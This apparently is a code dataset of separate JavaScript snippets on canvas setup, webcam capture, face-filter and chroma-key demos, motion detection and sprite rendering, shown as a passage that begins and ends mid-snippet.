'screen-canvas';\n\t\t\tthis.canvas.width = this.state.device.width/2;\n\t\t\tthis.canvas.height = this.state.device.height/2;\n\t\t\tthis.canvas.style = 'margin: 50px; border: 1px solid black; cursor: pointer;';\n\t\t\tthis.canvas.onmouseover = this.cursorOver.bind(this);\n\t\t\tthis.canvas.onmouseout = this.cursorOut.bind(this);\n\t\t\tthis.canvas.onmousedown = this.interactStart.bind(this);\n\t\t\tthis.canvas.onmousemove = this.interactMove.bind(this);\n\t\t\tthis.canvas.onmouseup = this.interactEnd.bind(this);\n\t\t\tthis.canvas.onmousewheel = this.mouseWheel.bind(this);\n\t\t\tdocument.body.onkeydown = this.keyDown.bind(this);\n\t\t\tdocument.body.onkeyup = this.keyUp.bind(this);\n\n\t\t\tdocument.getElementById('screen-container').appendChild(this.canvas)\n\t\t\tthis.ctx = this.canvas.getContext('2d');\n\t\t}else{\n\t\t\talert(`Device resolution failed to be detected`);\n\t\t}\n\t}","function setup() {\n createCanvas(800, 600);\n pixelDensity(1); //for retina displays\n capture = createCapture(VIDEO);\n capture.size(width / vScale, height / vScale);\n capture.hide();\n\n\n}","function createCanvasZone(canvas,ctx,video){\r\n \r\n var BtnZone = document.createElement('div');\r\n BtnZone.id=\"canvasBtnZone\";\r\n \r\n var clear_btn = document.createElement('input');\r\n clear_btn.type = \"button\";\r\n clear_btn.id = 'clearCanvas';\r\n clear_btn.className = \"canvas_btn\";\r\n clear_btn.value='Clear';\r\n clear_btn.onclick=function(){clearArea(ctx)};\r\n \r\n var close_btn = document.createElement('input');\r\n close_btn.type = \"button\";\r\n close_btn.className = \"canvas_btn\";\r\n close_btn.id = 'closeCanvas';\r\n close_btn.value='Close';\r\n close_btn.onclick=function(){BtnZone.remove();};\r\n \r\n\r\n \r\n var send_btn = document.createElement('input');\r\n send_btn.type = \"button\";\r\n send_btn.id = 'sendscreenShot';\r\n send_btn.className = \"canvas_btn\";\r\n send_btn.value='Send screenshot';\r\n send_btn.onclick=function(){sendScreenshot()};\r\n \r\n \r\n $('#CanvasZone').append(BtnZone);\r\n $('#canvasBtnZone').append(clear_btn);\r\n $('#canvasBtnZone').append(close_btn);\r\n $('#canvasBtnZone').append(send_btn); \r\n $('#canvasBtnZone').append(canvas); \r\n \r\n InitThis(ratio,canvas,video);\r\n}","function takePhoto (e) {\nlet ctx = outputCanvas.getContext('2d')\nctx.drawImage(inputVideo,0,0)\n}","function initCanvas(width, height){}","function setup()\n{\n const maxWidth = Math.min(windowWidth, windowHeight);\n pixelDensity(1);\n outputWidth = maxWidth;\n outputHeight = maxWidth * 0.75; // 4:3\n\n createCanvas(outputWidth, outputHeight);\n\n // webcam capture\n videoInput = createCapture(VIDEO);\n videoInput.size(outputWidth, outputHeight);\n videoInput.hide();\n\n // select filter\n const sel = createSelect();\n const selectList = ['Donal trump', 'Dog Filter', 'billgate', 'pikachu']; // list of filters\n sel.option('Select Filter', -1); // Default no filter\n for (let i = 0; i < selectList.length; i++)\n {\n sel.option(selectList[i], i);\n }\n sel.changed(applyFilter);\n\n // tracker\n faceTracker = new clm.tracker();\n faceTracker.init();\n faceTracker.start(videoInput.elt);\n}","function setUpCanvas() {\r\n canvas = document.createElement(\"CANVAS\");\r\n canvas.id = \"canvas\";\r\n canvas.style.width = \"100%\";\r\n canvas.style.height = \"100%\";\r\n canvas.style.background = 'black';\r\n canvas.style.marginLeft = 'auto';\r\n canvas.style.marginRight = 'auto';\r\n canvas.style.display = 'block';\r\n }","init() {\n if (this.canvas.getContext) {\n this.start();\n } else {\n canvas.textContent = 'Sorry canvas not suport';\n }\n }","function adaptElements() {\n const rect = document.body.getBoundingClientRect();\n const screenWidth = rect.width;\n const screenHeight = rect.height;\n const videoWidth = video.videoWidth;\n const videoHeight = video.videoHeight;\n const widthRatio = videoWidth / screenWidth;\n const heightRatio = videoHeight / screenHeight;\n const ratio = Math.min(widthRatio, heightRatio);\n // set image size and offset\n imageWidth = Math.floor(ratio * screenWidth + 0.5);\n imageHeight = Math.floor(ratio * screenHeight + 0.5);\n videoX = Math.max(0, Math.floor(0.5 * (videoWidth - imageWidth) + 0.5));\n videoY = Math.max(0, Math.floor(0.5 * (videoHeight - imageHeight) + 0.5));\n // adapt canvas size to input video size\n canvas.width = imageWidth;\n canvas.height = imageHeight;\n // adapt canvas size to screen\n image.width = screenWidth;\n image.height = screenHeight;\n // calculate video screen size and offset\n const videoScreenWidth = Math.floor(videoWidth / ratio + 0.5);\n const videoScreenHeight = Math.floor(videoHeight / ratio + 0.5);\n const videoScreenX = Math.floor(videoX / ratio + 0.5);\n const videoScreenY = Math.floor(videoY / ratio + 0.5);\n // resize and position video an screen\n video.width = videoScreenWidth;\n video.height = videoScreenHeight;\n video.style.left = `${-videoScreenX}px`;\n video.style.top = `${-videoScreenY}px`;\n // show live video\n resetVideo();\n }","static init(canvas){\r\n\r\n\r\n\t}","function playVideo(videoTimeline) {\n\n const timelineNode = videoTimeline.next\n const video = videoTimeline.data.videoCore\n const videoEndTime = videoTimeline.data.metadata.endTime\n \n loop = () => {\n if (!window.currentlyPlaying) {\n return\n }\n\n if (videoEndTime < video.currentTime + 0.01) {\n /* Pausing the current video if necessary */\n video.pause()\n\n if (timelineNode) {\n\n /* Setting the current switch value */\n if (timelineNode.data.metadata.ratio == 'fit') {\n window.currentRatio = 'fit'\n document.querySelector('.toogle-fit').click()\n } else if (timelineNode.data.metadata.ratio == 'strech') {\n window.currentRatio = 'strech'\n document.querySelector('.toogle-strech').click()\n }\n\n /* Starting next video from the beginning */\n timelineNode.data.videoCore.currentTime = timelineNode.data.metadata.startTime\n\n /* Updating the window.currentVideoSelectedForPlayback variable */\n window.currentVideoSelectedForPlayback = timelineNode\n\n /* Playing the next frame */\n playVideo(timelineNode)\n }\n } else {\n /* Updating the UI */\n renderUIAfterFrameChange(videoTimeline)\n\n /* Drawing at 30fps (1000 / 30 = 33,3333..)*/\n setTimeout(loop, 33.3333333) \n }\n }\n\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\n\n if (alpha1 < alpha2) {\n canvas.width = video.videoWidth + alpha1\n canvas.height = video.videoHeight\n } else {\n canvas.width = video.videoWidth\n canvas.height = video.videoHeight + alpha2\n }\n \n loop()\n video.play()\n}","function gStart() {\n\n // PREVENT DOUBLE CLICK FROM SELECTING THE CANVAS:\n\n var noSelectHTML = \"\"\n + \" \"\n ;\n var headElement = document.getElementsByTagName('head')[0];\n headElement.innerHTML = noSelectHTML + headElement.innerHTML;\n\n // ADD VIEWER ELEMENTS TO DOCUMENT\n\n var viewerHTML = \"\"\n\n + \" \"\n + \" \"\n\n + \" \"\n + \" \"\n +\n (isShowingRenderer\n ?\n \"
    \"\n + \"
    \"\n :\n \" \"\n + \" \"\n )\n\n + \" \"\n + \" \"\n\n + \" \"\n + \" \"\n\n + \" \"\n + \" \"\n\n + \" \"\n + \" \"\n\n + \" \"\n + \"
    \"\n + \"
    \"\n\n// + \" \"\n ;\n window.bodyElement = document.getElementsByTagName('body')[0];\n bodyElement.innerHTML = '
    ' + viewerHTML + bodyElement.innerHTML + '
    ';\n bodyElement.style.color = blackBackgroundColor;\n\n // SET ALL THE SCREEN-FILLING ELEMENTS TO THE SIZE OF THE SCREEN.\n\n slide.width = width();\n sketch_canvas.width = width();\n events_canvas.width = width();\n\n slide.height = height();\n sketch_canvas.height = height();\n events_canvas.height = height();\n\n background.width = width();\n background.height = height();\n background.style.backgroundColor = backgroundColor;\n\n // INITIALIZE THE SKETCH CANVAS\n\n sketch_canvas.animate = function(elapsed) { sketchPage.animate(elapsed); }\n sketch_canvas.overlay = function() { sketchPage.overlay(); }\n sketch_canvas.setup = function() {\n window.onbeforeunload = function(e) { sketchBook.onbeforeunload(e); }\n setPage(0);\n }\n\n events_canvas.keyDown = function(key) { e2s(); sketchPage.keyDown(key); }\n events_canvas.keyUp = function(key) { e2s(); sketchPage.keyUp(key); }\n events_canvas.mouseDown = function(x, y, z) { e2s(); sketchPage.mouseDown(x, y, z); }\n events_canvas.mouseDrag = function(x, y, z) { e2s(); sketchPage.mouseDrag(x, y, z); }\n events_canvas.mouseMove = function(x, y, z) { e2s(); sketchPage.mouseMove(x, y, z); }\n events_canvas.mouseUp = function(x, y, z) { e2s(); sketchPage.mouseUp (x, y, z); }\n\n fourStart();\n\n if (window['scene_div'] !== undefined) {\n scene_div.width = width();\n scene_div.height = height();\n var sceneElement = document.getElementById('scene_div');\n sceneElement.appendChild(renderer.domElement);\n }\n\n // SET SIZE OF WEBGL CANVAS\n\n webgl_canvas.width = width();\n webgl_canvas.height = height();\n\n // START WEBGL MODELER\n\n if (isPhone()) {\n sketchPadding *= 2;\n }\n\n lightTracker = new LightTracker(video_analysis_canvas);\n\n window.ctScene = new CT.Scene(webgl_canvas);\n ctScene.setLight(0, [ 1, 1, 1]);\n ctScene.setLight(1, [-1,-1,-1], [.1, .05, 0]);\n ctScene.setFOV(isPhone() ? PI / 2.5 : PI / 6);\n\n initCTPath();\n\n // START ALL CANVASES RUNNING\n\n var c = document.getElementsByTagName(\"canvas\");\n\n initEventHandlers(events_canvas);\n initSketchCanvas();\n\n // SET SIZE OF VIDEO CANVAS\n\n video_canvas.width = width();\n video_canvas.height = height();\n\n // server = new Server();\n // socket = server.connectSocket();\n\n midi = new Midi();\n\n document.title = 'Chalktalk';\n }","function init(options) {\n\t\t// sanity check\n\t\tif (!options) {\n\t\t\tthrow 'No options object provided';\n\t\t}\n\n\t\t// incoming options with defaults\n\t\tvideo = options.video || document.createElement('video');\n\t\tmotionCanvas = options.motionCanvas || document.createElement('canvas');\n\t\tcaptureIntervalTime = options.captureIntervalTime || 100;\n\t\tcaptureWidth = options.captureWidth || 640;\n\t\tcaptureHeight = options.captureHeight || 480;\n\t\tdiffWidth = options.diffWidth || 64;\n\t\tdiffHeight = options.diffHeight || 48;\n\t\tpixelDiffThreshold = options.pixelDiffThreshold || 32;\n\t\tscoreThreshold = options.scoreThreshold || 16;\n\t\tincludeMotionBox = options.includeMotionBox || false;\n\t\tincludeMotionPixels = options.includeMotionPixels || false;\n\n\t\t// callbacks\n\t\tinitSuccessCallback = options.initSuccessCallback || function() {};\n\t\tinitErrorCallback = options.initErrorCallback || function() {};\n\t\tstartCompleteCallback = options.startCompleteCallback || function() {};\n\t\tcaptureCallback = options.captureCallback || function() {};\n\n\t\t// non-configurable\n\t\tcaptureCanvas = document.createElement('canvas');\n\t\tdiffCanvas = document.createElement('canvas');\n\t\tisReadyToDiff = false;\n\n\t\t// prep video\n\t\tvideo.autoplay = true;\n\n\t\t// prep capture canvas\n\t\tcaptureCanvas.width = captureWidth;\n\t\tcaptureCanvas.height = captureHeight;\n\t\tcaptureContext = captureCanvas.getContext('2d');\n\n\t\t// prep diff canvas\n\t\tdiffCanvas.width = diffWidth;\n\t\tdiffCanvas.height = diffHeight;\n\t\tdiffContext = diffCanvas.getContext('2d');\n\n\t\t// prep motion canvas\n\t\tmotionCanvas.width = diffWidth;\n\t\tmotionCanvas.height = diffHeight;\n\t\tmotionContext = motionCanvas.getContext('2d');\n\n\t\trequestWebcam();\n\t}","initCanvas() { \n\t\tthis.canvas = document.getElementById(\"canvas\");\n\t\tthis.canvas.width = this.level.getNumBlocksRow * Block.SIZE + (2 * Sprite.SIDE_LR_WIDTH);\n\t\tthis.canvas.height = this.level.getNumBlocksColumn * Block.SIZE + (3 * Sprite.SIDE_TMD_HEIGHT) + Sprite.PANEL_HEIGHT;\n\t\tthis.ctx = this.canvas.getContext(\"2d\");\t\n\t}","constructor(sourceCanvas, resultCanvas) {\n this.source = sourceCanvas.getContext(\"2d\")\n this.result = resultCanvas.getContext(\"2d\")\n }","function CanvasInit(){\n context.fillStyle = 'white';\n context.fillRect(0,0,canvas.width, canvas.height);\n context.fillStyle = 'black';\n context.strokeStyle = 'black'\n setUpCanvas();\n clear();\n}","_initCanvas (canvas) {\n if (canvas) {\n this.canvas = canvas\n this.width = canvas.width\n this.height = canvas.height\n } else {\n this.canvas = document.createElement('canvas')\n this.canvas.width = this.width\n this.canvas.height = this.height\n this.canvas.style.width = '100%'\n this.canvas.style.height = '100%'\n this.canvas.style.imageRendering = 'pixelated'\n document.body.appendChild(this.canvas)\n }\n }","function Init() {\n // Get context handles\n CanvasHandle = document.getElementById(\"canvas\");\n CanvasHandle.width = ratioX * scale;\n CanvasHandle.height = ratioY * scale;\n ContextHandle = CanvasHandle.getContext(\"2d\");\n CanvasWidth = ContextHandle.canvas.clientWidth;\n CanvasHeight = ContextHandle.canvas.clientHeight;\n\n // Create an image backbuffer\n BackCanvasHandle = document.createElement(\"canvas\");\n BackContextHandle = BackCanvasHandle.getContext(\"2d\");\n BackCanvasHandle.width = CanvasWidth;\n BackCanvasHandle.height = CanvasHeight;\n\n // Set line style\n BackContextHandle.lineCap = \"butt\";\n BackContextHandle.lineJoin = \"round\";\n\n // Get the canvas center\n CenterX = CanvasWidth / 2;\n CenterY = CanvasHeight / 2;\n Camera = {x:0, y:0, z:1};\n}","set canvas(c){\n this._canvas = c ;\n if (c){\n this._context = c.getContext('2d') ;\n }\n }","function startVideo() {\n navigator.getUserMedia(\n { \n video: \n {\n //the ideal part is imp, it helps to get 16:9 ratio also\n height : { ideal : window.innerHeight } ,\n width : { ideal : window.innerWidth }\n } \n } ,\n stream => video.srcObject = stream,\n err => console.error(err)\n ) \n}","function initVideo() {\n log_d(\"Initializing the video subsystem\");\n\n var setVideoDev = function (devs) {\n log_d(\"Got video capture devices: \" + JSON.stringify(devs));\n var dev = '';\n $.each(devs, function (k, v) {\n dev = k;\n $('#webcamsSelect').append($(' '));\n });\n if (dev) {\n log_d(\"Using video capture device: \" + JSON.stringify(devs[dev]));\n window.configuredDevice = dev;\n service.setVideoCaptureDevice(CDO.createResponder(startLocalPreview), dev);\n } else {\n log_e(\"None video capture devices installed.\");\n }\n };\n log_d(\"Getting video capture devices\");\n service.getVideoCaptureDeviceNames(CDO.createResponder(setVideoDev));\n\n}","function demo(vid) {\n\tvar video = vid;\n\tvar demo = this;\n\tvar width = 640, height = 480;//can also use video.offsetHeight/video.offsetWidth but the value seems to change once the video actually starts.\n\tvar el = document.getElementById('demo-content');\n\t\n\tvar gui = new dat.GUI({ autoPlace: false });\n\tel.appendChild(gui.domElement);\n\t\n\tvar videoImageContext;\n\t\n\t//public variables:\n\tthis.mode = \"chromaKey\";\n\tgui.add(this, \"mode\", [\"Chroma Key\", \"Subtraction\", \"Fancy Method\"]);\n\t\n\tthis.bg_snapshot = function(){\n\t\tsnapshot();\n\t}\n\tgui.add(this, \"bg_snapshot\");\n\n\tinit();\n\t\n\tfunction init() {\n\t\tvideoImage = document.createElement( 'canvas' );\n\t\tvideoImage.width = width;\n\t\tvideoImage.height = height;\n\t\tel.appendChild( videoImage );\n\t\t\n\t\tvideoImageContext = videoImage.getContext( '2d' );\n\t\tvideoImageContext.scale(-1, 1);\n\t\tanimate();\n\t}\n\t\n\tfunction animate(){\n\t\trequestAnimationFrame( animate );\n\t\trender();\n\t}\n\t\n\tfunction drawImage(){\n\t\t//mirror the image using scale(-1, 1)\n\t\tvideoImageContext.drawImage(video, -width, 0, width, height);\n\t\t//videoImageContext.drawImage(video, 0, 0, width, height); //original method\n\t}\n\t\n\tfunction render(){\n\t\tif (video.readyState === video.HAVE_ENOUGH_DATA ){\n\t\t\tdrawImage();\n\t\t\tswitch (this.mode){\n\t\t\t\tcase 'Chroma Key':\n\t\t\t\t\tchromaKey();\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'Subtraction':\n\t\t\t\t\tsubtraction();\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'Fancy Method':\n\t\t\t\t\tfancy();\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tchromaKey();\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tvar color_ratio = 2.5, threshold = 40;\n\tfunction chromaKey() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tvar l = frame.data.length / 4;\n\t\t\n\t\tfor (var i = 0; i < l; i++) {\n\t\t\tvar pos = i*4;\n\t\t\tvar r = frame.data[pos + 0];\n\t\t\tvar g = frame.data[pos + 1];\n\t\t\tvar b = frame.data[pos + 2];\n\t\t\tif (b>r && b>g && (b>r*color_ratio || b>g*color_ratio) && b > threshold){\n\t\t\t\tframe.data[pos + 0] = 255;\n\t\t\t\tframe.data[pos + 1] = 255;\n\t\t\t\tframe.data[pos + 2] = 255;\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t}\n\t\t//renderer.clear();\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t\t//videoImageContext.clearRect(0,0,50,50);\n\t}\n\t\n\tvar old_data = [], index = 0, buffer_length = 5, std_cutoff = 40;\n\tfunction fancy() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\told_data[index] = new Uint8ClampedArray(frame.data);\n\t\t\n\t\tvar current_buffer_size = old_data.length;\n\t\tvar l = frame.data.length / 4;\n\t\tfor (var i = 0; i < l; i++) {\n\t\t\tvar pos = i*4, mean = 0;\n\t\t\tfor (var j = 0; j < current_buffer_size; j++)\n\t\t\t\tmean += (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t\t\tmean /= buffer_length;\n\t\t\t\n\t\t\tvar std = 0;\n\t\t\tfor (var j = 0; j < current_buffer_size; j++) {\n\t\t\t\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t\t\t\tstd += Math.pow(color_avg - mean, 2);\n\t\t\t}\n\t\t\tstd = Math.sqrt(std);\n\t\t\t//console.log('std: ', std);\n\t\t\t\n\t\t\tif (std < std_cutoff){\n\t\t\t\t//frame.data[pos + 0] = 255;\n\t\t\t\t//frame.data[pos + 1] = 255;\n\t\t\t\t//frame.data[pos + 2] = 255;\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t\t//frame.data[pos + 3] = Math.exp(std);\n\t\t}\n\t\t//renderer.clear();\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t\t//videoImageContext.clearRect(0,0,50,50);\n\t\tindex = (index+1)%buffer_length;\n\t\t//console.log('index: ', index);\n\t}\n\t\n\tvar snapshot_data;\n\tfunction snapshot(){\n\t\tdrawImage();\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tsnapshot_data = new Uint8ClampedArray(frame.data);\n\t}\n\t\n\tvar first = true, difference_threshold = 20, frame_length=0;\n\tfunction subtraction() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tif (first) {\n\t\t\tsnapshot();\n\t\t\tfirst = false;\n\t\t\tframe_length = frame.data.length / 4;\n\t\t}\n\t\tfor (var i = 0; i < frame_length; i++) {\n\t\t\tvar pos = i*4, r = pos, g = pos+1, b = pos+2;\n\t\t\t\n\t\t\tvar difference = Math.sqrt((Math.pow(frame.data[r]-snapshot_data[r], 2) + Math.pow(frame.data[g]-snapshot_data[g], 2) + Math.pow(frame.data[b]-snapshot_data[b], 2))/3);\n\t\t\tif (difference < difference_threshold) {\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t}\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t}\n\t\n\t//var bin_images = [], bin_counts = [], total_bins = 5, curr_bins = 0, frame_length = 0;\n\t//function subtraction() {\n\t// var frame = videoImageContext.getImageData(0, 0, width, height);\n\t// if (curr_bins < bins) {\n\t//\t\tbin_images[curr_bins] = new Uint8ClampedArray(frame.data);\n\t//\t\tcurr_bins++;\n\t//\t\tframe_length = frame.data.length / 4;\n\t//\t}\n\t// for (var i = 0; i < frame_length; i++) {\n\t//\t\tvar pos = i*4, best_bin = 0, r = pos, g = pos+1, b = pos+2;\n\t//\t\t\n\t//\t\tvar min_idx = 0, min_val = -1;\n\t//\t\tfor (var j = 0; j < curr_bins; j++){\n\t//\t\t\tvar data = possible_backgrounds[j];\n\t//\t\t\tvar difference = Math.sqrt((Math.pow(frame.data[r]-data[r], 2) + Math.pow(frame.data[g]-data[g], 2) + Math.pow(frame.data[b]-data[b], 2))/3);\n\t//\t\t\tif (difference < max_val || min_val == -1) {\n\t//\t\t\t\tmax_val = difference;\n\t//\t\t\t\tmin_idx = j;\n\t//\t\t\t}\n\t//\t\t}\n\t//\t\t\n\t//\t\t\n\t//\t\tvar std = 0;\n\t//\t\tfor (var j = 0; j < buffer_length; j++) {\n\t//\t\t\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t//\t\t\tstd += Math.pow(color_avg - mean, 2);\n\t//\t\t}\n\t//\t\tstd = Math.sqrt(std);\n\t//\t\t//console.log('std: ', std);\n\t//\t\t\n\t// if (std < std_cutoff){\n\t// //frame.data[pos + 0] = 255;\n\t// //frame.data[pos + 1] = 255;\n\t// //frame.data[pos + 2] = 255;\n\t// frame.data[pos + 3] = 0;\n\t// }\n\t//\t\t//frame.data[pos + 3] = Math.exp(std);\n\t// }\n\t// //renderer.clear();\n\t// videoImageContext.putImageData(frame, 0, 0);\n\t// //videoImageContext.clearRect(0,0,50,50);\n\t//\tindex = (index+1)%buffer_length;\n\t//\t//console.log('index: ', index);\n\t//}\n}","function canvasInit() {\n var canvas = document.getElementById(\"canvas\");\n if (canvas.getContext) {\n var ctx = canvas.getContext(\"2d\");\n ctx.fillStyle = '#444';\n ctx.font = '28px Arial';\n wrapText(ctx, \"← Start by entering a jsonline.com url on the left.\", 100, 25, 700, 50);\n step = 0;\n }\n}","function initEditorCanvas() {\n let canvas = document.getElementById('editorCanvas');\n // Resize the canvas.\n canvas.width = EDITOR_SCALE * CHR_WIDTH;\n canvas.height = EDITOR_SCALE * CHR_HEIGHT;\n\n let ctx = cmn.getContext2DNA(canvas);\n ctx.imageSmoothingEnabled = false;\n ctx.scale(EDITOR_SCALE, EDITOR_SCALE);\n\n // Canvas is white by default.\n ctx.fillStyle = 'black';\n ctx.fillRect(0, 0, CHR_WIDTH, CHR_HEIGHT);\n\n canvas.addEventListener('mousedown', function (me) { _mouseDown = true; onMouseMove(me); });\n canvas.addEventListener('mousemove', onMouseMove);\n canvas.addEventListener('mouseup', function (me) { _mouseDown = false; });\n canvas.addEventListener('mouseleave', function (me) { _mouseDown = false; });\n}","function init() {\n canvas = document.getElementById('can');\n ctx = canvas.getContext(\"2d\");\n}","function init() {\n // Put event listeners into place\n // Notice that in this specific case handlers are loaded on the onload event\n window.addEventListener('DOMContentLoaded', function() {\n // Grab elements, create settings, etc.\n var canvas = document.getElementById('canvas');\n var context = canvas.getContext('2d');\n var video = document.getElementById('video');\n var mediaConfig = {\n video: true,\n };\n var errBack = function(e) {\n console.log('An error has occurred!', e);\n };\n\n // Put video listeners into place\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n navigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\n video.srcObject = stream;\n video.onloadedmetadata = function(e) {\n video.play();\n };\n });\n }\n\n // Trigger photo take\n document.getElementById('snap').addEventListener('click', function() {\n context.drawImage(video, 0, 0, 640, 480);\n state.photoSnapped = true; // photo has been taken\n });\n\n // Trigger when upload button is pressed\n document.getElementById('upload').addEventListener('click', uploadImage);\n\n document.getElementById('search').addEventListener('click',searchPhoto);\n\n }, false);\n\n }","function main()\n{\n\t//Function to execute when a canvas is created:\n\tvar canvasLoaded = 0;\n\tvar onLoadCanvas = function()\n\t{\n\t\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\"Canvas '\" + this.getId() + \"' loaded! Mode used: \" + this.getMode()); }\n\n\t\tcanvasLoaded++;\n\n\t\t//Gets the \"context\" object to start working with the canvas:\n\t\tvar canvasContext = this.getContext();\n\t\tif (!canvasContext) { CB_console(\"ERROR: canvas context could not be obtained! Drawing cannot be performed.\"); return; }\n\n\t\t//Stores the canvas in the 'canvases' object:\n\t\tcanvases[this.getId()] = this;\n\n\t\t//If both canvas (normal and buffer) have been created, proceeds with the rendering:\n\t\tif (canvasLoaded >= 2)\n\t\t{\n\t\t\t//When the screen changes its size or its orientation, both canvases will be re-adapted:\n\t\t\tvar onResizeOrChangeOrientationTimeout = null;\n\t\t\tvar onResizeOrChangeOrientation = function()\n\t\t\t{\n\t\t\t\tclearTimeout(onResizeOrChangeOrientationTimeout);\n\t\t\t\tonResizeOrChangeOrientationTimeout = setTimeout //NOTE: needs a delay as some clients on iOS update the screen size information in two or more steps (last step is the correct value).\n\t\t\t\t(\n\t\t\t\t\tfunction()\n\t\t\t\t\t{\n\t\t\t\t\t\t//Resizes the canvas:\n\t\t\t\t\t\tcanvases[\"my_canvas\"].setWidth(CB_Screen.getWindowWidth());\n\t\t\t\t\t\tcanvases[\"my_canvas\"].setHeight(CB_Screen.getWindowHeight());\n\t\t\t\t\t\tcanvases[\"my_canvas\"].clear(); canvases[\"my_canvas\"].disableAntiAliasing();\n\t\t\t\t\t\t\n\t\t\t\t\t\t//Resizes the buffer canvas:\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].setWidth(CB_Screen.getWindowWidth());\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].setHeight(CB_Screen.getWindowHeight());\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].clear();\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].disableAntiAliasing();\n\t\t\t\t\t}\n\t\t\t\t);\n\t\t\t};\n\t\t\tCB_Screen.onResize(onResizeOrChangeOrientation);\n\n\t\t\t//Clears both canvas:\n\t\t\tcanvases[\"my_canvas\"].clear();\n\t\t\tcanvases[\"my_canvas_buffer\"].clear();\n\t\t\t\n\t\t\t//Disables anti-aliasing to avoid problems with adjacent sprites:\n\t\t\tcanvases[\"my_canvas\"].disableAntiAliasing();\n\t\t\tcanvases[\"my_canvas_buffer\"].disableAntiAliasing();\n\t\t\t\n\t\t\t//Creates the sprites groups:\n\t\t\tvar graphicSpritesSceneObject = createSpritesGroups();\n\n\t\t\t//Caches all needed images (performance purposes) and starts rendering sprites groups when all are loaded:\n\t\t\tmyREM = new CB_REM();\n\t\t\tmyREM.cacheImages\n\t\t\t(\n\t\t\t\tgraphicSpritesSceneObject, //CB_GraphicSpritesSceneObject.\n\t\t\t\tundefined, //reload.\n\t\t\t\tfunction(imagesLoaded) //onLoad.\n\t\t\t\t{\n\t\t\t\t\t//Sets the current time as the start time to start counting the FPS (erased each second automatically):\n\t\t\t\t\tmyREM._startTimeFPS = CB_Device.getTiming();\n\n\t\t\t\t\t//Show the FPS (Frames Per Second) every time there is a new value:\n\t\t\t\t\tmyREM.onUpdatedFPS(function(FPS) { graphicSpritesSceneObject.getById(\"fps_group\").getById(\"fps\").src = \"FPS: \" + FPS; });\n\t\t\t\t\t\n\t\t\t\t\t//Processes the sprites groups:\n\t\t\t\t\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\"Starts processing graphic sprites scene ('CB_GraphicSpritesScene' object) constantly...\"); }\n\t\t\t\t\t\n\t\t\t\t\tprocessSpritesGroups(graphicSpritesSceneObject, canvases[\"my_canvas\"], canvases[\"my_canvas\"].getContext(), canvases[\"my_canvas_buffer\"], canvases[\"my_canvas_buffer\"].getContext());\n\t\t\t\t}\n\t\t\t);\n\t\t}\n\t};\n\t\n\t//Creates the canvases:\n\tvar canvases = {};\n\tcanvases[\"my_canvas\"] = new CB_Canvas\n\t(\n\t\t\"my_canvas\", //canvasId. Unique required parameter.\n\t\t\"2d\", //contextType. NOTE: some emulation methods only support \"2d\". Default: \"2d\".\n\t\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\n\t\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\n\t\tonLoadCanvas, //onLoad.\n\t\tfunction(error) { CB_console(\"Canvas object problem! Error: \" + error); }, //onError.\n\t\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\n\t);\n\tcanvases[\"my_canvas_buffer\"] = new CB_Canvas\n\t(\n\t\t\"my_canvas_buffer\", //canvasId. Unique required parameter.\n\t\t\"2d\", //contextType. NOTE: some emulation methods only support \"2d\". Default: \"2d\".\n\t\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\n\t\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\n\t\tonLoadCanvas, //onLoad.\n\t\tfunction(error) { CB_console(\"Canvas object problem! Error: \" + error); }, //onError.\n\t\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\n\t);\n}","function initializeCanvas() {\n\tcanvas = document.getElementById(\"canvas\");\n\tctx = canvas.getContext(\"2d\");\n}","init() {\n const canvas = document.createElement('canvas');\n\n canvas.style.display = 'none';\n canvas.style.position = 'fixed';\n canvas.style.top = '0px';\n canvas.style.left = '0px';\n canvas.style.zIndex = '1000000';\n this.canvas = canvas;\n\n this.context = canvas.getContext('2d');\n\n document.body.appendChild(canvas);\n\n window.addEventListener('resize', (event) => this.resize());\n\n // UI events\n window.addEventListener('mousemove', (event) => this.mouseMove(event));\n window.addEventListener('mouseup', (event) => this.mouseUp(event));\n window.addEventListener('mousedown', (event) => this.mouseDown(event));\n window.addEventListener('keydown', (event) => 